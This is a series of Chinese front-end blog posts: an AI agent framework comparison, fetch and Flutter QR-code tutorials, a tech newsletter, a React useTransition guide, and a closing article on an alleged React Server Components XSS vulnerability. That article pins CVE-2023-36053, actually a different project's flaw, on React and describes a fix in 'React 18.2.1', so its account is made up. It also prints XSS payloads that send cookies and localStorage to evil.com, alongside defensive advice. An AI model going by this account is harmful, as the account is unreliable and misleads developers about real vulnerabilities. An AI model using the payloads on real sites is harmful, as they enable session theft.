用户在一页里问几句,要即时、简洁的回复,必要时查文档或知识库。流程短、状态简单,不需要多 Agent 博弈或断点续跑,前端发一条消息、收一条(或流式)回复,至多一两轮工具调用。这类需求 Mastra 的轻量 API 和 TypeScript 体验很顺手,一个 Agent 配几个工具、在 Route Handler 里调 generate 就能上线;用 LangGraph 容易杀鸡用牛刀,要先建图、理解条件边和状态,对只想做一个会查文档的客服的团队来说性价比不高。

场景二:内部工具里的"多步任务助手"

例如用自然语言帮用户订会议室、填工单、查数据并生成报告。步骤多,有时要人工确认或回退(如"是否确认提交工单"),状态要在多轮请求间保持,甚至支持"离开页面再回来从断点继续"。这类需求用 LangGraph 的状态图和 checkpointer 更自然:节点对应步骤或人工介入,边上挂条件判断,状态持久化后刷新或重连都能恢复。用 Mastra 也能做,但分支和人工介入一多,就得自己维护"当前步骤、待确认项、历史结果",等于在业务层再造状态机,不如直接用图建模,让框架负责持久化。

场景三:多 Agent 协作(检索、生成、审核等分工)

多角色各司其职,之间有固定或动态调用关系,甚至要循环几轮才产出结果。这类编排是 LangGraph 的强项;Mastra 更适合"一个主 Agent 调若干工具"的链式交互,多 Agent 的路由和状态共享要自己写胶水代码。

场景四:向量库、模型、外部 API 集成种类多

公司内有自建向量库、多种大模型和第三方 API,希望用同一套抽象管住"检索、调用、解析"。LangChain 的集成生态在这里优势明显:Pinecone、Weaviate、Qdrant、自建 REST、各类 LLM 与 RAG 预制链和图,大多有现成包。Mastra 偏向精选常用组合,技术栈若较"非主流"(内网模型、私有协议、冷门向量库),可能要自己写适配层,把外部能力包成 Mastra 能识别的工具或模型接口。要权衡多写的适配代码是否被 Mastra 的 DX 和轻量部署抵消;若集成种类还会持续增加,直接上 LangChain 生态往往更省事。

常见误区与落地注意点

选型时容易踩的坑和落地前值得想清楚的几点,简单归纳如下。

不必纠结的两点。第一,没有"用了 Mastra 就不能用 LangChain"这回事,两者可共存,例如边缘或 BFF 用 Mastra 做轻量对话,后台用 LangGraph 做复杂管线,用 HTTP 或消息队列打通。第二,没有"LangGraph 一定比 Mastra 重"的绝对结论,重的是你要维护的图与状态逻辑;若你只需要一张简单 agent-tools 图,编译后运行时开销可接受,主要是上手成本高。

需要提前想清楚的两点。一是"先简单后复杂"时,若判断半年内会演进到多 Agent 或人机协同,可早点把复杂子流程用 LangGraph 建模,哪怕先只实现单 Agent,图结构也为后续加节点留好位置,避免以后在 Mastra 里手写状态机再迁一轮。二是"先复杂后简化"时,若团队普遍抱怨 LangChain 报错难查、概念太多,可把"单轮或短对话"抽成独立服务,用 Mastra 重写,接口不变、前端无感,逐步降维护成本。

最后,无论选哪边,都建议一开始就把"输入输出契约"(请求体格式、流式 SSE、错误码)定好,并用 TypeScript 类型或 OpenAPI 描述出来,以后换实现、做 A/B 或拆服务时,前端和网关都不必大动。

混合使用与迁移成本

不少团队会折中:简单、面向用户的 Agent 用 Mastra,部署在前端或边缘;复杂、长链路、多 Agent 的管线放后端,用 LangGraph 或 LangChain 实现,通过 API 暴露。这样既保住前端侧的开发体验和性能,又在需要复杂编排时用上 LangChain 生态。

若一开始选了 Mastra,后面业务演进到必须上状态图、多 Agent,可以只把"复杂子流程"迁到 LangGraph,用 HTTP 或消息队列和现有 Mastra Agent 对接,不必全盘重写。例如前端仍用 Mastra 做即时问答,把多步审批、长任务编排单独做成 LangGraph 服务,Mastra 在需要时调该服务 API。反过来,若一开始用 LangChain 搭了简单客服,发现维护成本高、报错难排查,可以把单轮或短对话抽成独立服务,用 Mastra 重写,逐步迁移。关键是想清楚边界(按功能、按请求路径、按团队 ownership 都行),按边界拆模块,而不是非此即彼。迁移时优先保证输入输出契约稳定(统一 JSON 请求体、流式 SSE 格式),前端或网关就不必大改。

总结与下一步

Mastra 和 LangChain(LangGraph)代表两种设计哲学:前者为前端和 TypeScript 优化,追求轻量和 DX;后者面向通用 AI 编排和复杂状态,追求生态和表达能力。没有谁一定更好,只看和你的业务场景、团队结构、集成与定制需求是否匹配。

一句话记住选型心法:Agent 是"应用里的辅助能力"、团队偏前端、要快上线,优先看 Mastra;Agent 是"业务核心"、有多 Agent、长任务、人机协同或大量冷门集成,优先看 LangGraph。两者也可组合,按模块边界拆,契约定好即可。

建议先明确两件事:当前要做的 Agent 主要负责什么(辅助功能还是核心 AI 系统),以及半年到一年内会不会出现多 Agent、长任务、复杂集成或深度定制。有了这两个问题的答案,再对照文中的对比表、决策说明和四类场景,选型会清晰很多。若你愿意说一下目前在规划的 Agent 具体负责什么业务、会接哪些系统,可以在此基础上再做一轮更细的技术栈评估和落地方案设计。文中的代码示例使用当前主流的 gpt-5.4,可直接复制后按需改模型名和 API Key 配置。

5 分钟入门 fetch

作者 云浪
2026年3月16日 08:56

fetch API 用于发起 http 请求和处理响应。

fetchXMLHttpRequest 的现代替代方案。与使用回调函数的 XMLHttpRequest 不同,fetch 基于 Promise,并且与现代 Web 的一些特性(例如 Service WorkersCORS(跨源资源共享))进行了集成。

async function getData() {
  const url = "https://example.org/products.json";
  try {
    const response = await fetch(url);
    if (!response.ok) {
      throw new Error(`Response status: ${response.status}`);
    }

    const result = await response.json();
    console.log(result);
  } catch (error) {
    // 请求被 reject 时会进入 catch
    console.error(error.message);
  }
}

使用 response.ok 判断 fetch 请求是否成功特别重要,因为当请求返回 404 或 500 时,fetch 返回的 Promise 不会被 reject

fetch 只会在无法发出请求(网络问题、CORS 失败、中止等)时 reject。当 fetch 请求被 reject 时,会被 catch 捕获。

async function testFetch() {
  try {
    const response = await fetch("http://localhost:9999/api/test");
    console.log("响应状态:", response.status);

    if (!response.ok) {
      // 抛出错误,由外层的 catch 处理
      throw new Error(`请求失败,状态码:${response.status}`);
    }

    const data = await response.json();
    console.log("数据:", data);
  } catch (error) {
    // 请求被 reject 后会被 catch 捕获
    console.error("出错了:", error.message);
  }
}

testFetch();

1.png

设置 fetch 的请求方法

fetch 的配置对象中有个 method 属性,专门配置 fetch 的请求方法,比如发起 post 请求,只要把 method 属性设置为 POST 就可以了

const response = await fetch("https://example.org/post", {
  method: "POST",
  // …
});

设置 fetch 的请求体

fetch 配置对象中有个 body 属性,专门用于配置请求体,请求体的作用是向服务端发送数据的,比如 POSTPUT 请求的时候,向服务器传递有用的数据。

const response = await fetch("https://example.org/post", {
  method: "POST",
  body: JSON.stringify({ username: "example" }),
  // …
});

需要注意的是,GET 请求中是不能包含请求体的,如果 GET 请求需要向服务端发送数据的话,则可通过 URL 参数的方式传递。

同时要将传递给 body 配置的原生 JS 对象用 JSON.stringify 包裹,因为 HTTP 协议传输的数据本质上是文本或二进制流,不支持直接传递 JS 对象。否则 JS 对象会自动序列化为 [object Object] 字符串,从而导致数据传递错误:

2.png

设置请求头

fetch 的配置对象中有个 headers 属性,用于设置请求头。

请求头(Request headers) 用于向服务器提供关于请求的信息。例如,在 POST 请求 中,Content-Type 请求头会告诉服务器请求体的数据格式。

const response = await fetch("https://example.org/post", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  body: JSON.stringify({ username: "example" }),
  // …
});

在 GET 请求中发送数据

GET 请求没有请求体,因此不能像 POST 请求那样通过 body 配置发送数据。GET 请求是通过 URL 查询参数发送数据的。

有三种设置 GET 请求的查询参数

  • 手动拼接 URL

  • 使用 URLSearchParams 构建查询参数

  • 使用 URL 对象操作

手动拼接 URL 示例

const userId = 123;
const page = 2;
fetch(`https://api.example.com/users?id=${userId}&page=${page}`)
  .then((response) => response.json())
  .then((data) => console.log(data));

使用 URLSearchParams 构建查询参数示例

const params = new URLSearchParams({
  id: 123,
  page: 2,
  name: "John Doe", // 特殊字符会被自动编码
});

fetch(`https://api.example.com/users?${params}`)
  .then((response) => response.json())
  .then((data) => console.log(data));

使用 URL 对象操作示例

const url = new URL("https://api.example.com/users");
url.searchParams.append("id", 123);
url.searchParams.append("page", 2);

fetch(url)
  .then((response) => response.json())
  .then((data) => console.log(data));

处理响应体

使用 fetch 发送完请求后,会得到服务器的响应对象 Response,然后数据会在 Response 对象的响应体中。要读取响应体,需要调用 Response 提供的读取方法。

Response 对象提供了 5 种读取响应体的方法:

  • response.json() ,读取 json 数据

  • response.text() ,读取文本数据

  • response.blob() ,读取二进制文件

  • response.arrayBuffer() ,读取二进制数据

  • response.formData() ,读取表单数据

以上 5 种方法都是异步的,并且都返回 Promise

const response = await fetch("/api/data");
const data = await response.json();
const response = await fetch("/api/text");
const text = await response.text();
const response = await fetch("/image.png");
const blob = await response.blob();
// response.arrayBuffer()通常用于底层二进制处理
const response = await fetch("/file.bin");
const buffer = await response.arrayBuffer();
const response = await fetch("/form");
const formData = await response.formData();

参考

Using the Fetch API

栗子前端技术周刊第 120 期 - Vite 8.0、Solid v2.0.0 Beta、TypeScript 6.0 RC...

2026年3月16日 08:53

🌰栗子前端技术周刊第 120 期 (2026.03.09 - 2026.03.15):浏览前端一周最新消息,学习国内外优秀文章,让我们保持对前端的好奇心。

📰 技术资讯

  1. Vite 8.0:Vite 8.0 正式发布,本次版本设计为平滑升级,底层有大量改动:@vitejs/plugin-react v6 不再需要 Babel(由 Oxc 替代)、Rolldown 替换了 Rollup 与 esbuild(Vite 团队由衷感谢 Rollup 与 esbuild 的维护者们,没有他们,Vite 不可能取得今天的成功)、支持 Wasm SSR、浏览器控制台日志转发到终端、性能大幅提升(构建速度提升 10~30 倍,同时保持完整的插件兼容性)。

  2. Solid v2.0.0 Beta:经过漫长的实验阶段,Solid 2.0 的首个测试版正式登场,带来了一流的异步支持:计算函数现在可以返回 Promise 或异步迭代对象。<Suspense> 已被废弃,初始渲染改用 <Loading> 组件;数据变更则迎来内置的 action() 功能,自带乐观更新支持。

  3. TypeScript 6.0 RC:TypeScript 6.0 候选版本(RC)已发布, v6.0 主要是为今年晚些时候推出的基于 Go 语言重构的原生 TypeScript 7.0 铺路,本次对 tsconfig.json 所做的所有必要调整,都能让你为未来版本做好准备。

  4. TC39 会议:在本周的 TC39 会议上,Temporal 提案正式进入 Stage 4 阶段。

📒 技术文章

  1. Seven Years to TypeScript: Migrating 11,000 Files at Patreon:用七年迁移到 TypeScript:Patreon 完成 11,000 个文件的改造 - 这个知名创作者平台曾拥有百万行 JavaScript 代码。尽管新项目接入 TypeScript 进展顺利,但全量改造旧代码仍是一项艰巨任务,这篇复盘文章介绍了其中用到的工具与技术方案。

  2. 用 Three.js 写了一个《我的世界》:本文作者分享用 Three.js 开发《我的世界》风格游戏项目的经历,该项目包含菜单、角色控制、相机等系统,有昼夜循环、挖掘放置等玩法。

  3. Agent Skill 是什么?:文中介绍了一个 Skill 有三层结构,分别是 Metadata、Instruction、Resources,三层各司其职,还提到设计 Skill 要注意粒度和描述精准。

🔧 开发工具

  1. RevoGrid:一款专为海量数据集打造的高性能数据表格控件,支持与 Vue、Angular、React、Svelte 集成,也可直接在原生 JavaScript 中使用
image-20260315083703805
  1. All SVG Icons:来自 200 多个精选图标库的 250,000+ 免费 SVG 图标,界面设计精美、使用简单,内容非常丰富。
image-20260315085901030
  1. Emittery 2.0:简洁、现代化的异步事件发射器。
image-20260315084313277

🚀🚀🚀 以上资讯文章选自常见周刊,如 JavaScript Weekly 等,周刊内容也会不断优化改进,希望你们能够喜欢。

💖 欢迎关注微信公众号:栗子前端

Flutter使用pretty_qr_code生成高颜值二维码

作者 鹏多多
2026年3月16日 08:33

前言

最近在项目里需要实现自定义样式、带Logo、渐变色的高颜值二维码功能,对比多款插件后,pretty_qr_code凭借丰富的定制能力、简洁API和多平台适配性脱颖而出。 本文基于pretty_qr_code: ^3.6.0版本编写,适配Flutter 3.0+,支持iOS、Android、Windows、Web全平台,可满足基础生成、样式定制、Logo嵌入、图片导出等全场景需求。

官方文档:传送门

pretty-qr-code.png

1. 插件核心API

pretty_qr_code的核心由主组件装饰配置类组成,参数清晰易扩展,是实现定制化二维码的核心。

1.1 核心组件:PrettyQrView

负责渲染二维码的主组件,支持直接传入数据快速生成。

属性 类型 必填 说明
data String 二维码承载的内容(链接/文本/数字等)
size double 二维码尺寸,默认自适应父容器
decoration PrettyQrDecoration 二维码样式装饰(形状/颜色/Logo)
errorCorrectionLevel QrErrorCorrectLevel 纠错级别,默认high(30%容错)
backgroundColor Color 二维码背景色,默认白色
clipBehavior Clip 裁剪模式,默认Clip.hardEdge

1.2 核心配置类:PrettyQrDecoration

二维码样式定制核心,控制形状、颜色、Logo、边距等。

属性 类型 说明
shape PrettyQrShape 码点形状(方形/圆形/圆角/水滴等)
color Color 二维码纯色(与渐变二选一)
gradient Gradient 二维码渐变色(与纯色二选一)
image PrettyQrDecorationImage 中间嵌入的Logo配置
quietZone PrettyQrQuietZone 二维码边距(空白区域)

1.3 常用枚举/子类

  • PrettyQrShapesquare(方形)、circle(圆形)、rounded(圆角)、fluid(水滴)、diamond(菱形)
  • QrErrorCorrectLevellow(7%)、medium(15%)、quartile(25%)、high(30%)
  • PrettyQrDecorationImage:配置Logo图片、尺寸、边距

2. 基础使用

2.1 引入依赖

pubspec.yaml中添加最新版依赖:

dependencies:
  flutter:
    sdk: flutter
  pretty_qr_code: ^3.6.0

执行flutter pub get安装依赖。

2.2 最简二维码生成

无需任何定制,一行代码生成标准二维码:

import 'package:flutter/material.dart';
import 'package:pretty_qr_code/pretty_qr_code.dart';

// 最简二维码
PrettyQrView.data(
  data: 'https://flutter.dev', // 二维码内容
  size: 200, // 尺寸
)

2.3 带基础样式的二维码

快速配置形状与颜色,提升美观度:

PrettyQrView.data(
  data: 'https://flutter.dev',
  size: 200,
  decoration: const PrettyQrDecoration(
    // 圆形码点
    shape: PrettyQrShape.circle(),
    // 二维码颜色
    color: Color(0xFF6200EE),
    // 边距
    quietZone: PrettyQrQuietZone.standard,
  ),
)

3. 高级功能定制

3.1 自定义码点形状

支持多种预设形状,轻松切换风格:

// 圆角码点
PrettyQrShape.rounded(radius: 8)
// 水滴形状
PrettyQrShape.fluid()
// 菱形码点
PrettyQrShape.diamond()

3.2 渐变色二维码

告别单色,支持线性/径向渐变:

PrettyQrView.data(
  data: 'https://flutter.dev',
  size: 200,
  decoration: PrettyQrDecoration(
    shape: const PrettyQrShape.rounded(),
    // 线性渐变
    gradient: const LinearGradient(
      colors: [Color(0xFF6200EE), Color(0xFF03DAC6)],
      begin: Alignment.topLeft,
      end: Alignment.bottomRight,
    ),
  ),
)

3.3 嵌入中间Logo

支持本地资源/网络图片Logo,自带容错保护:

PrettyQrView.data(
  data: 'https://flutter.dev',
  size: 220,
  decoration: const PrettyQrDecoration(
    shape: PrettyQrShape.circle(),
    color: Color(0xFF6200EE),
    // 嵌入Logo
    image: PrettyQrDecorationImage(
      image: AssetImage('assets/images/logo.png'), // 本地图片
      // image: NetworkImage('https://xxx.com/logo.png'), // 网络图片
      size: 40, // Logo尺寸
      padding: EdgeInsets.all(4), // Logo内边距
    ),
  ),
)

3.4 自定义纠错级别

根据场景调整容错率,Logo较大时建议用最高级别:

PrettyQrView.data(
  data: 'https://flutter.dev',
  // 最高纠错级别(30%容错,适合带大Logo)
  errorCorrectionLevel: QrErrorCorrectLevel.high,
)

3.5 自定义背景与边框

PrettyQrView.data(
  data: 'https://flutter.dev',
  size: 200,
  backgroundColor: const Color(0xFFF5F5F5), // 背景色
  decoration: const PrettyQrDecoration(
    shape: PrettyQrShape.square(),
    color: Color(0xFF2196F3),
  ),
)

4. 二维码导出与保存

pretty_qr_code仅负责渲染,导出图片需结合flutter_screenutilscreenshotgal插件实现截图→保存相册,适配全平台。

4.1 新增依赖

dependencies:
  pretty_qr_code: ^3.6.0
  screenshot: ^3.0.0
  gal: ^2.3.2
  permission_handler: ^11.3.1

4.2 权限配置

  • AndroidAndroidManifest.xml):
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="32"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" android:maxSdkVersion="32"/>
  • iOSInfo.plist):
<key>NSPhotoLibraryAddUsageDescription</key>
<string>需要访问相册以保存二维码图片</string>

4.3 导出保存代码实现

import 'package:flutter/material.dart';
import 'package:pretty_qr_code/pretty_qr_code.dart';
import 'package:screenshot/screenshot.dart';
import 'package:gal/gal.dart';
import 'package:permission_handler/permission_handler.dart';

class QrCodeExportPage extends StatefulWidget {
  const QrCodeExportPage({super.key});

  @override
  State<QrCodeExportPage> createState() => _QrCodeExportPageState();
}

class _QrCodeExportPageState extends State<QrCodeExportPage> {
  final ScreenshotController _screenshotController = ScreenshotController();

  // 保存二维码到相册
  Future<void> _saveQrCodeToGallery() async {
    // 申请权限
    final status = await Permission.storage.request();
    if (!status.isGranted) {
      debugPrint('权限申请失败');
      return;
    }

    // 截图
    final imageBytes = await _screenshotController.capture(
      pixelRatio: 2.0, // 高清导出
      delay: const Duration(milliseconds: 20),
    );

    if (imageBytes == null) {
      debugPrint('截图失败');
      return;
    }

    // 保存到相册
    await Gal.putImageBytes(imageBytes, album: 'Flutter二维码');
    debugPrint('保存成功');
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: const Text('二维码导出')),
      body: Center(
        child: Screenshot(
          controller: _screenshotController,
          child: PrettyQrView.data(
            data: 'https://flutter.dev',
            size: 200,
            decoration: const PrettyQrDecoration(
              shape: PrettyQrShape.circle(),
              color: Color(0xFF6200EE),
              image: PrettyQrDecorationImage(
                image: AssetImage('assets/images/logo.png'),
                size: 40,
              ),
            ),
          ),
        ),
      ),
      floatingActionButton: FloatingActionButton(
        onPressed: _saveQrCodeToGallery,
        child: const Icon(Icons.save),
      ),
    );
  }
}

5. 注意事项

  1. Logo大小限制:Logo尺寸建议不超过二维码整体的20%,避免扫码失败;纠错级别建议使用high
  2. 图片模糊问题:导出时将pixelRatio设为1.5~3.0,可提升清晰度,兼顾体积与画质。
  3. Platform View不兼容:二维码内嵌套WebView、地图等原生组件会渲染异常,仅支持Flutter纯组件。
  4. 数据长度限制:内容越长二维码越复杂,建议短链接/精简文本,过长会降低扫码成功率。
  5. Web平台适配:导出图片需通过浏览器API处理,captureAndSave不支持Web端。
  6. 性能优化:页面内大量渲染二维码时,建议固定尺寸并缓存组件,避免重复重建。

6. 总结

pretty_qr_code 3.6.0是Flutter生态中定制能力最强、使用最简单的二维码生成插件,完美覆盖:

  • 基础二维码快速生成
  • 形状/颜色/渐变全样式定制
  • 中间Logo嵌入
  • 高清导出与相册保存

配合截图与权限插件,可快速实现商业级二维码功能,适配全平台、易扩展、易维护,是开发中生成高颜值二维码的首选方案。

本文仅是基础案例,实际项目可结合主题、动画、交互实现更丰富的二维码效果,欢迎在评论区交流探讨~


本次分享就到这儿啦,我是鹏多多,深耕前端的技术创作者,如果您看了觉得有帮助,欢迎评论,关注,点赞,转发,我们下次见~

PS:在本页按F12,在console中输入document.getElementsByClassName('panel-btn')[0].click();有惊喜哦~

往期文章

React useTransition:让 UI 更新更丝滑的并发特性

作者 兆子龙
2026年3月16日 07:02

一、为什么需要 useTransition

在 React 中,所有状态更新默认都是紧急的,会立即阻塞 UI。

function SearchPage() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState([]);

  const handleChange = (e) => {
    const value = e.target.value;
    setQuery(value);  // 紧急更新
    
    // 耗时的过滤操作
    const filtered = hugeList.filter(item => 
      item.name.includes(value)
    );
    setResults(filtered);  // 也是紧急更新,会卡顿
  };

  return (
    <>
      <input value={query} onChange={handleChange} />
      <Results data={results} />
    </>
  );
}

问题:输入时会卡顿,因为每次输入都要等待过滤完成。


二、useTransition 的解决方案

useTransition 可以将某些更新标记为"非紧急",让 React 优先处理用户交互。

import { useState, useTransition } from 'react';

function SearchPage() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState([]);
  const [isPending, startTransition] = useTransition();

  const handleChange = (e) => {
    const value = e.target.value;
    setQuery(value);  // 紧急更新,立即响应
    
    startTransition(() => {
      // 非紧急更新,可以被打断
      const filtered = hugeList.filter(item => 
        item.name.includes(value)
      );
      setResults(filtered);
    });
  };

  return (
    <>
      <input value={query} onChange={handleChange} />
      {isPending && <Spinner />}
      <Results data={results} />
    </>
  );
}

效果:输入流畅,过滤操作在后台进行。


三、核心概念

返回值

const [isPending, startTransition] = useTransition();
  • isPending: 是否有待处理的 transition
  • startTransition: 将更新标记为 transition

紧急 vs 非紧急更新

// 紧急更新:立即执行,不可打断
setQuery(value);

// 非紧急更新:可以被打断,延迟执行
startTransition(() => {
  setResults(filtered);
});

四、实战场景

场景 1:搜索过滤

function ProductList() {
  const [searchTerm, setSearchTerm] = useState('');
  const [filteredProducts, setFilteredProducts] = useState(products);
  const [isPending, startTransition] = useTransition();

  const handleSearch = (value) => {
    setSearchTerm(value);
    
    startTransition(() => {
      const filtered = products.filter(p =>
        p.name.toLowerCase().includes(value.toLowerCase())
      );
      setFilteredProducts(filtered);
    });
  };

  return (
    <>
      <input
        value={searchTerm}
        onChange={e => handleSearch(e.target.value)}
        placeholder="搜索商品..."
      />
      {isPending && <div className="loading">搜索中...</div>}
      <div className="products">
        {filteredProducts.map(p => (
          <ProductCard key={p.id} {...p} />
        ))}
      </div>
    </>
  );
}

场景 2:Tab 切换

function TabContainer() {
  const [tab, setTab] = useState('home');
  const [isPending, startTransition] = useTransition();

  const handleTabChange = (newTab) => {
    startTransition(() => {
      setTab(newTab);  // 切换 tab 是非紧急的
    });
  };

  return (
    <>
      <div className="tabs">
        <button
          onClick={() => handleTabChange('home')}
          className={tab === 'home' ? 'active' : ''}
        >
          首页
        </button>
        <button
          onClick={() => handleTabChange('profile')}
          className={tab === 'profile' ? 'active' : ''}
        >
          个人中心
        </button>
      </div>
      
      {isPending && <LoadingBar />}
      
      <div className="tab-content">
        {tab === 'home' && <HomePage />}
        {tab === 'profile' && <ProfilePage />}
      </div>
    </>
  );
}

场景 3:路由切换

function App() {
  const [page, setPage] = useState('home');
  const [isPending, startTransition] = useTransition();

  const navigate = (newPage) => {
    startTransition(() => {
      setPage(newPage);
    });
  };

  return (
    <>
      <nav>
        <button onClick={() => navigate('home')}>首页</button>
        <button onClick={() => navigate('about')}>关于</button>
        <button onClick={() => navigate('contact')}>联系</button>
      </nav>
      
      {isPending && <TopLoadingBar />}
      
      <main>
        {page === 'home' && <Home />}
        {page === 'about' && <About />}
        {page === 'contact' && <Contact />}
      </main>
    </>
  );
}

五、与 useDeferredValue 对比

// useTransition:主动标记更新
const [isPending, startTransition] = useTransition();
startTransition(() => {
  setValue(newValue);
});

// useDeferredValue:被动延迟值
const deferredValue = useDeferredValue(value);
特性 useTransition useDeferredValue
使用方式 包裹更新函数 包裹值
控制权 主动控制 被动延迟
isPending
适用场景 控制更新时机 延迟渲染

六、注意事项

1. 只能在 transition 中更新 state

// ✅ 正确
startTransition(() => {
  setState(newValue);
});

// ❌ 错误:不能包含异步操作
startTransition(async () => {
  const data = await fetchData();
  setState(data);
});

2. 异步操作需要特殊处理

const handleClick = async () => {
  const data = await fetchData();
  
  startTransition(() => {
    setState(data);  // 只有 setState 在 transition 中
  });
};

3. 不要过度使用

// ❌ 不需要:简单的状态更新
startTransition(() => {
  setCount(count + 1);
});

// ✅ 需要:耗时的计算或渲染
startTransition(() => {
  setResults(expensiveFilter(data));
});

七、性能优化

配合 memo 使用

const ExpensiveList = memo(({ items }) => {
  return items.map(item => <ExpensiveItem key={item.id} {...item} />);
});

function App() {
  const [query, setQuery] = useState('');
  const [items, setItems] = useState(allItems);
  const [isPending, startTransition] = useTransition();

  const handleSearch = (value) => {
    setQuery(value);
    startTransition(() => {
      setItems(allItems.filter(i => i.name.includes(value)));
    });
  };

  return (
    <>
      <input value={query} onChange={e => handleSearch(e.target.value)} />
      {isPending && <Spinner />}
      <ExpensiveList items={items} />
    </>
  );
}

八、与 Suspense 配合

function App() {
  const [tab, setTab] = useState('home');
  const [isPending, startTransition] = useTransition();

  return (
    <>
      <Tabs value={tab} onChange={(t) => {
        startTransition(() => setTab(t));
      }} />
      
      <Suspense fallback={<Skeleton />}>
        {isPending && <InlineSpinner />}
        {tab === 'home' && <Home />}
        {tab === 'posts' && <Posts />}
      </Suspense>
    </>
  );
}

深入探究 React 史上最大安全漏洞

作者 兆子龙
2026年3月16日 07:01

一、一个让 Meta 紧急发布补丁的漏洞

2023 年 9 月,安全研究员 Masato Kinugawa 发现了 React 的一个严重安全漏洞(CVE-2023-36053),影响范围包括:

  • React 16.0.0 到 18.2.0
  • Next.js 13.4.0 之前的所有版本
  • 所有使用 Server Components 的应用

Meta 紧急发布了 React 18.2.1 修复此漏洞。这是 React 历史上影响最大的安全漏洞之一。

二、漏洞原理:从 SSR 到 XSS

2.1 Server Components 的工作原理

// Server Component
async function UserProfile({ userId }) {
  const user = await db.users.findOne({ id: userId });
  
  return (
    <div>
      <h1>{user.name}</h1>
      <p>{user.bio}</p>
    </div>
  );
}

Server Components 在服务端渲染,返回的不是 HTML,而是一种特殊的 JSON 格式:

{
  "type": "div",
  "props": {
    "children": [
      {
        "type": "h1",
        "props": { "children": "Alice" }
      },
      {
        "type": "p",
        "props": { "children": "Hello, I'm Alice" }
      }
    ]
  }
}

2.2 漏洞触发条件

// 危险代码
async function UserProfile({ userId }) {
  const user = await db.users.findOne({ id: userId });
  
  // 如果 user.bio 包含恶意代码
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    </div>
  );
}

攻击场景

  1. 攻击者注册账号,bio 填写:
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
  1. 服务端渲染时,React 将其序列化为 JSON
  2. 客户端接收 JSON 并渲染
  3. XSS 代码执行,窃取用户 cookie

2.3 为什么会有这个漏洞?

React 在序列化 Server Components 时,没有正确转义某些特殊字符:

// React 18.2.0 的序列化代码(简化版)
function serializeComponent(component) {
  return JSON.stringify(component);  // 问题:没有转义特殊字符
}

问题JSON.stringify 不会转义 <script> 标签中的内容

const data = { html: '<script>alert("XSS")</script>' };
const json = JSON.stringify(data);
// 结果:{"html":"<script>alert(\"XSS\")</script>"}

// 插入到 HTML 中
<script>
  const data = {"html":"<script>alert(\"XSS\")</script>"};
</script>
// 浏览器会执行内部的 <script> 标签

三、漏洞复现

3.1 搭建测试环境

# 使用有漏洞的版本
npm install react@18.2.0 react-dom@18.2.0 next@13.3.0
// app/profile/[id]/page.jsx
import { db } from '@/lib/db';

export default async function ProfilePage({ params }) {
  const user = await db.users.findOne({ id: params.id });
  
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    </div>
  );
}

3.2 构造攻击载荷

// 注册恶意用户
await db.users.create({
  name: 'Attacker',
  bio: `
    <img src=x onerror="
      fetch('https://evil.com/steal', {
        method: 'POST',
        body: JSON.stringify({
          cookie: document.cookie,
          localStorage: localStorage,
          url: location.href
        })
      })
    ">
  `
});

3.3 攻击效果

  1. 受害者访问攻击者的个人主页
  2. Server Component 渲染恶意代码
  3. 客户端执行 XSS
  4. 攻击者服务器收到受害者的敏感信息

四、漏洞修复

4.1 React 18.2.1 的修复

// React 18.2.1 的序列化代码(简化版)
function serializeComponent(component) {
  const json = JSON.stringify(component, (key, value) => {
    if (typeof value === 'string') {
      // 转义特殊字符
      return value
        .replace(/</g, '\\u003c')
        .replace(/>/g, '\\u003e')
        .replace(/\//g, '\\u002f');
    }
    return value;
  });
  return json;
}

修复原理:将 <>/ 转义为 Unicode 转义序列

// 修复前
{"html":"<script>alert(\"XSS\")</script>"}

// 修复后
{"html":"\\u003cscript\\u003ealert(\"XSS\")\\u003c/script\\u003e"}

4.2 升级指南

# 升级 React
npm install react@18.2.1 react-dom@18.2.1

# 升级 Next.js
npm install next@13.4.1

# 检查其他依赖
npm audit

五、防御措施

5.1 输入验证

// 服务端验证
function validateUserInput(input) {
  // 1. 长度限制
  if (input.length > 1000) {
    throw new Error('Input too long');
  }
  
  // 2. 黑名单过滤
  const blacklist = ['<script', 'javascript:', 'onerror=', 'onload='];
  for (const keyword of blacklist) {
    if (input.toLowerCase().includes(keyword)) {
      throw new Error('Invalid input');
    }
  }
  
  // 3. HTML 标签白名单
  const allowedTags = ['b', 'i', 'u', 'p', 'br'];
  // 使用 DOMPurify 或类似库
  return sanitizeHTML(input, { allowedTags });
}

5.2 输出转义

// 使用 React 的自动转义
function UserProfile({ user }) {
  return (
    <div>
      <h1>{user.name}</h1>
      {/* React 会自动转义 */}
      <p>{user.bio}</p>
    </div>
  );
}

// 避免使用 dangerouslySetInnerHTML
// 如果必须使用,先消毒
import DOMPurify from 'isomorphic-dompurify';

function UserProfile({ user }) {
  const cleanBio = DOMPurify.sanitize(user.bio);
  
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: cleanBio }} />
    </div>
  );
}

5.3 Content Security Policy

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self' data:",
              "connect-src 'self' https://api.example.com"
            ].join('; ')
          }
        ]
      }
    ];
  }
};

5.4 HttpOnly Cookie

// 设置 HttpOnly cookie
res.setHeader('Set-Cookie', [
  `token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600`
]);

// JavaScript 无法访问 HttpOnly cookie
console.log(document.cookie);  // 看不到 token

六、安全最佳实践

6.1 代码审查清单

  • 所有用户输入都经过验证和消毒
  • 避免使用 dangerouslySetInnerHTML
  • 使用 CSP 限制脚本执行
  • Cookie 设置 HttpOnly 和 Secure
  • 定期更新依赖
  • 使用 npm audit 检查漏洞

6.2 自动化安全检查

# .github/workflows/security.yml
name: Security Check

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
